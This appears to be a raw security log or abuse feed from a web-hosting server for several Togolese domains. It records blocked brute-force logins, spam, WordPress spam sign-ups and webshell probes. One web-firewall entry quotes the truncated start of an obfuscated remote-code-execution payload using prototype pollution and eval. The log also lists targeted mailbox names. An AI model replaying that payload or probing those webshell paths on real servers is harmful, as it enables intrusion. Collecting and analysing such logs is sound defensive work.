name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.17.72
country_id: 2300660
description:
Jun  6 07:06:43 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.17.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.17.72
country_id: 2300660
description:
Jun  6 07:06:50 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.17.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.214.211.213
country_id: 1512440
description:
2026-06-06 07:09:25 H=([95.214.211.213]) [95.214.211.213]:2144 F=<John@4452.com> rejected RCPT <j.delbegue@tps.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.241.9.6
country_id: 1527747
description:
2026-06-06 07:10:52 H=([212.241.9.6]) [212.241.9.6]:3103 F=<John@4452.com> rejected RCPT <ag@togointerim.net>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.105.229.9
country_id: 1220409
description:
2026-06-06 07:11:57 H=([185.105.229.9]) [185.105.229.9]:1943 F=<John@4452.com> rejected RCPT <admin@soena.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-06 07:13:21 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:45090: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Claim Your Highest Level Cash sepoladi.blogspot.fr Jt||Email:dylanmcox2017@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:07-15.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.225.95.106
country_id: 1814991
description:
2026-06-06 07:16:03 H=([122.225.95.106]) [122.225.95.106]:49486 F=<John@4452.com> rejected RCPT <contact@emt.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.122.122
country_id: 226074
description:
Jun  6 07:17:24 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.122.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.2.145.103
country_id: 2750405
description:
Jun  6 07:18:13 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.2.145.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.2.145.103
country_id: 2750405
description:
2026-06-06 07:18:15 dovecot_plain authenticator failed for H=mail.smarttrades.ch (0ve9u4w18bqxekssoyga) [190.2.145.103]:34907: 535 Incorrect authentication data (set_id=rappels@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 95.215.0.144
country_id: 2017370
description:
95.215.0.144 - - [06/Jun/2026:07:22:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932634&pdata=https%253A%252F%252F154.70.82.244%253A2087%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780730518 HTTP/2.0" 302 0 154.70.82.244 "https://154.70.82.244:2087/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:95.215.0.144


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.56
country_id: 2510769
description:
Jun  6 07:23:00 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.56 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.51
country_id: 6252001
description:
205.169.39.51 - - [06/Jun/2026:07:24:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842219&pdata=http%253A%252F%252Fdza52a.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780730672 HTTP/1.1" 302 0 dza52a.mediatopnews.tg "http://dza52a.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.51


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.185.147.85
country_id: 3469034
description:
Jun  6 07:25:41 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.185.147.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 145.255.160.113
country_id: 1522867
description:
2026-06-06 07:25:04 H=([145.255.162.97]) [145.255.160.113]:1489 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.185.147.85
country_id: 3469034
description:
Jun  6 07:25:48 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.185.147.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.49.127
country_id: 2963597
description:
Jun  6 07:25:59 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.49.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.46.120
country_id: 953987
description:
Jun  6 07:25:49 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.46.120 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 176.222.167.119
country_id: 1522867
description:
2026-06-06 07:25:51 H=([176.222.167.119]) [176.222.167.119]:16997 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.28.157.200
country_id: 1819730
description:
Jun  6 07:27:15 ns5 pure-ftpd[2509837]: (?@104.28.157.200) [INFO] New connection from 104.28.157.200


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.204.98.20
country_id: 6252001
description:
[2026-06-06 07:27:44 +0000] info [cpaneld] 192.204.98.20 - contactmairieaneho "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contactmairieaneho (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.105.229.9
country_id: 1220409
description:
2026-06-06 07:27:46 H=([185.105.229.9]) [185.105.229.9]:2158 F=<John@4452.com> rejected RCPT <admin@soena.tg>: Sender verify failed


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 104.28.157.200
country_id: 1819730
description:
Jun  6 07:27:21 ns5 pure-ftpd[2509837]: (?@104.28.157.200) [WARNING] Authentication failed for user [e.sanvee]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.103
country_id: 732800
description:
Jun  6 07:28:33 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.132.141
country_id: 1269750
description:
Jun  6 07:28:53 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.132.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 176.222.167.119
country_id: 1522867
description:
2026-06-06 07:29:12 H=([176.222.167.119]) [176.222.167.119]:54063 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.110
country_id: 1512440
description:
2026-06-06 07:29:27 H=([213.230.92.110]) [213.230.92.110]:20279 F=<John@4452.com> rejected RCPT <j.delbegue@tps.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-06 07:36:09 +0000] info [cpaneld] 185.213.83.243 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.111.130
country_id: 226074
description:
Jun  6 07:36:14 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.111.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.26.192.145
country_id: 2750405
description:
Jun  6 07:37:29 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.26.192.145 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.26.192.145
country_id: 2750405
description:
2026-06-06 07:37:31 dovecot_login authenticator failed for H=(Copy-of-VM-2022) [194.26.192.145]:49818: 535 Incorrect authentication data (set_id=ag@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.26.192.145
country_id: 2750405
description:
2026-06-06 07:37:50 dovecot_login authenticator failed for H=(Copy-of-VM-2022) [194.26.192.145]:51008: 535 Incorrect authentication data (set_id=ag@togointerim.net)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 47.242.116.107
country_id: 1819730
description:
Jun  6 07:38:12 ns5 pure-ftpd[2518230]: (?@47.242.116.107) [INFO] New connection from 47.242.116.107


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.242.116.107
country_id: 1819730
description:
Jun  6 07:38:16 ns5 pure-ftpd[2518230]: (?@47.242.116.107) [WARNING] Authentication failed for user [conseilnsaftogo]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.26.192.145
country_id: 2750405
description:
Jun  6 07:37:48 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.26.192.145 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 220.168.20.205
country_id: 1814991
description:
2026-06-06 07:37:55 H=([220.168.20.205]) [220.168.20.205]:5086 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Begin the Process with Your Funds bonotdamvam.blogspot.in Hf||Email:Jaslsbucky06@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:07-39.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.76
country_id: 3469034
description:
Jun  6 07:39:37 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.76
country_id: 3469034
description:
Jun  6 07:39:52 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.42
country_id: 690791
description:
Jun  6 07:39:57 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.42 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-06 07:39:48 +0000] info [cpaneld] 185.213.83.243 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.126
country_id: 1880251
description:
47.128.96.126 - - [06/Jun/2026:07:41:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6670489&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdiego-maradona%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780731679 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/diego-maradona/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.126


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.28
country_id: 3175395
description:
Jun  6 07:43:02 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.71
country_id: 798544
description:
Jun  6 07:43:19 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.37.14
country_id: 2921044
description:
2026-06-06 07:44:09 dovecot_login authenticator failed for H=(localhost) [37.120.37.14]:61821: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.75.14.134
country_id: 1269750
description:
Jun  6 07:48:35 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.75.14.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.14.134
country_id: 1269750
description:
2026-06-06 07:48:37 dovecot_login authenticator failed for H=(nsg-static-241.106.76.182-airtel.com) [182.75.14.134]:34700: 535 Incorrect authentication data (set_id=office@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.187
country_id: 1814991
description:
Jun  6 07:53:10 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.187
country_id: 1814991
description:
2026-06-06 07:53:12 dovecot_login authenticator failed for H=([111.61.177.187]) [111.61.177.187]:39266: 535 Incorrect authentication data (set_id=no-reply@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.212.129.46
country_id: 1562822
description:
2026-06-06 07:56:32 dovecot_login authenticator failed for H=([125.212.129.46]) [125.212.129.46]:38296: 535 Incorrect authentication data (set_id=tps@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.100.60
country_id: 798544
description:
Jun  6 07:57:30 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.100.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.18.166.108
country_id: 1269750
description:
2026-06-06 07:58:03 dovecot_login authenticator failed for H=(103.18.166.108) [103.18.166.108]:39661: 535 Incorrect authentication data (set_id=test@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.120.147
country_id: 3865483
description:
Jun  6 07:58:10 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.120.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.108.231.170
country_id: 2077456
description:
[2026-06-06 07:58:43 +0000] info [cpaneld] 103.108.231.170 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.108
country_id: 1269750
description:
Jun  6 07:58:01 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.130
country_id: 933860
description:
Jun  6 07:59:44 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.101.103.5
country_id: 3469034
description:
Jun  6 08:00:17 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.101.103.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.130
country_id: 933860
description:
Jun  6 07:59:52 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.35.246
country_id: 3865483
description:
Jun  6 08:00:41 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.35.246 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.35.246
country_id: 3865483
description:
Jun  6 08:00:49 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.35.246 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.64.187.195
country_id: 3624060
domain: www.confortis.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.Confortis.tg/assets/img/partenaire/orabank.png HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 182.163.124.250
country_id: 1210997
description:
2026-06-06 08:02:34 H=([182.163.124.250]) [182.163.124.250]:60778 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Redeem Your Prime Stake Bonus vamvozmviigr.blogspot.ae wq||Email:Menelson5@yahoo.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:08-03.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.3.167
country_id: 690791
description:
Jun  6 08:03:41 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.3.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 154.57.221.202
country_id: 1168579
description:
2026-06-06 08:03:12 H=([154.57.221.202]) [154.57.221.202]:11957 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.3.167
country_id: 690791
description:
Jun  6 08:03:48 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.3.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.164.117.23
country_id: 1269750
description:
Jun  6 08:06:41 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.164.117.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 164.164.117.23
country_id: 1269750
description:
2026-06-06 08:06:43 dovecot_login authenticator failed for H=([164.164.117.23]) [164.164.117.23]:41368: 535 Incorrect authentication data (set_id=no-reply@togosem.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.76.88.37
country_id: 1733045
description:
2026-06-06 08:08:22 H=([103.76.88.37]) [103.76.88.37]:17837 F=<info@sample.com> rejected RCPT <millionsbox@protonmail.com>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.83
country_id: 3469034
description:
Jun  6 08:09:56 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.83 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.104
country_id: 3175395
description:
Jun  6 08:10:45 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.104
country_id: 3175395
description:
Jun  6 08:10:52 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.49.122
country_id: 2963597
description:
Jun  6 08:12:16 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.49.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.236
country_id: 130758
description:
2026-06-06 08:12:30 dovecot_login authenticator failed for H=(localhost) [62.60.130.236]:56875: 535 Incorrect authentication data (set_id=adminzabbix)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.236
country_id: 130758
description:
Jun  6 08:12:28 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.236 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.46
country_id: 6252001
description:
205.169.39.46 - - [06/Jun/2026:08:14:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750679&pdata=http%253A%252F%252Fzismaz.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780733655 HTTP/1.1" 302 0 zismaz.mediatopnews.tg "http://zismaz.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.46


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.111.9.140
country_id: 2635167
description:
[2026-06-06 08:15:31 +0000] info [whostmgrd] 81.111.9.140 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.196.77.65
country_id: 1512440
description:
2026-06-06 08:14:57 H=([91.196.77.65]) [91.196.77.65]:5139 F=<John@4452.com> rejected RCPT <sotrane@sotranetogo.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.53.92.177
country_id: 2635167
description:
[2026-06-06 08:15:31 +0000] info [cpaneld] 31.53.92.177 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: root login is not permitted to cpaneld


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 221.210.206.245
country_id: 1814991
description:
2026-06-06 08:16:44 H=([221.210.206.245]) [221.210.206.245]:3099 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.104.127.16
country_id: 1269750
description:
Jun  6 08:18:20 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.104.127.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 40.87.20.23
country_id: 6252001
domain: api.lacs1.mairie.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"_response\":{\"_prefix\":\"var rd=arguments[0x1];var vf=rd;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ffe\\\",\\\"r\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.134.219
country_id: 99237
description:
Jun  6 08:23:31 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.134.219 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 31.57.87.119
country_id: 6252001
domain: www.arse.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.14||T:APACHE||MV:/wp-admin/images/moon.php||SC:/home/arsetg/public_html/wp-admin/images/moon.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 23.95.244.28
country_id: 6252001
domain: www.arse.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.14||T:APACHE||MV:/images/plugins.php||SC:/home/arsetg/public_html/images||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.48
country_id: 6252001
description:
205.169.39.48 - - [06/Jun/2026:08:26:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6866582&pdata=http%253A%252F%252Fl4u8i0.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780734388 HTTP/1.1" 302 0 l4u8i0.mediatopnews.tg "http://l4u8i0.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.48


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:08-27.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.83
country_id: 3469034
description:
Jun  6 08:26:58 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.83 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Start Your Digital Asset Extra sepoladi.blogspot.be XN||Email:hafsaabdullahimusa41@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 105.155.155.131
country_id: 2542007
domain: c2ie.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-27.105.155.155.131||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:26:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1543: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.236
country_id: 130758
description:
Jun  6 08:28:11 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.236
country_id: 130758
description:
2026-06-06 08:28:13 dovecot_login authenticator failed for H=(localhost) [62.60.130.236]:57154: 535 Incorrect authentication data (set_id=securitydev)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:27:49 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1547: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
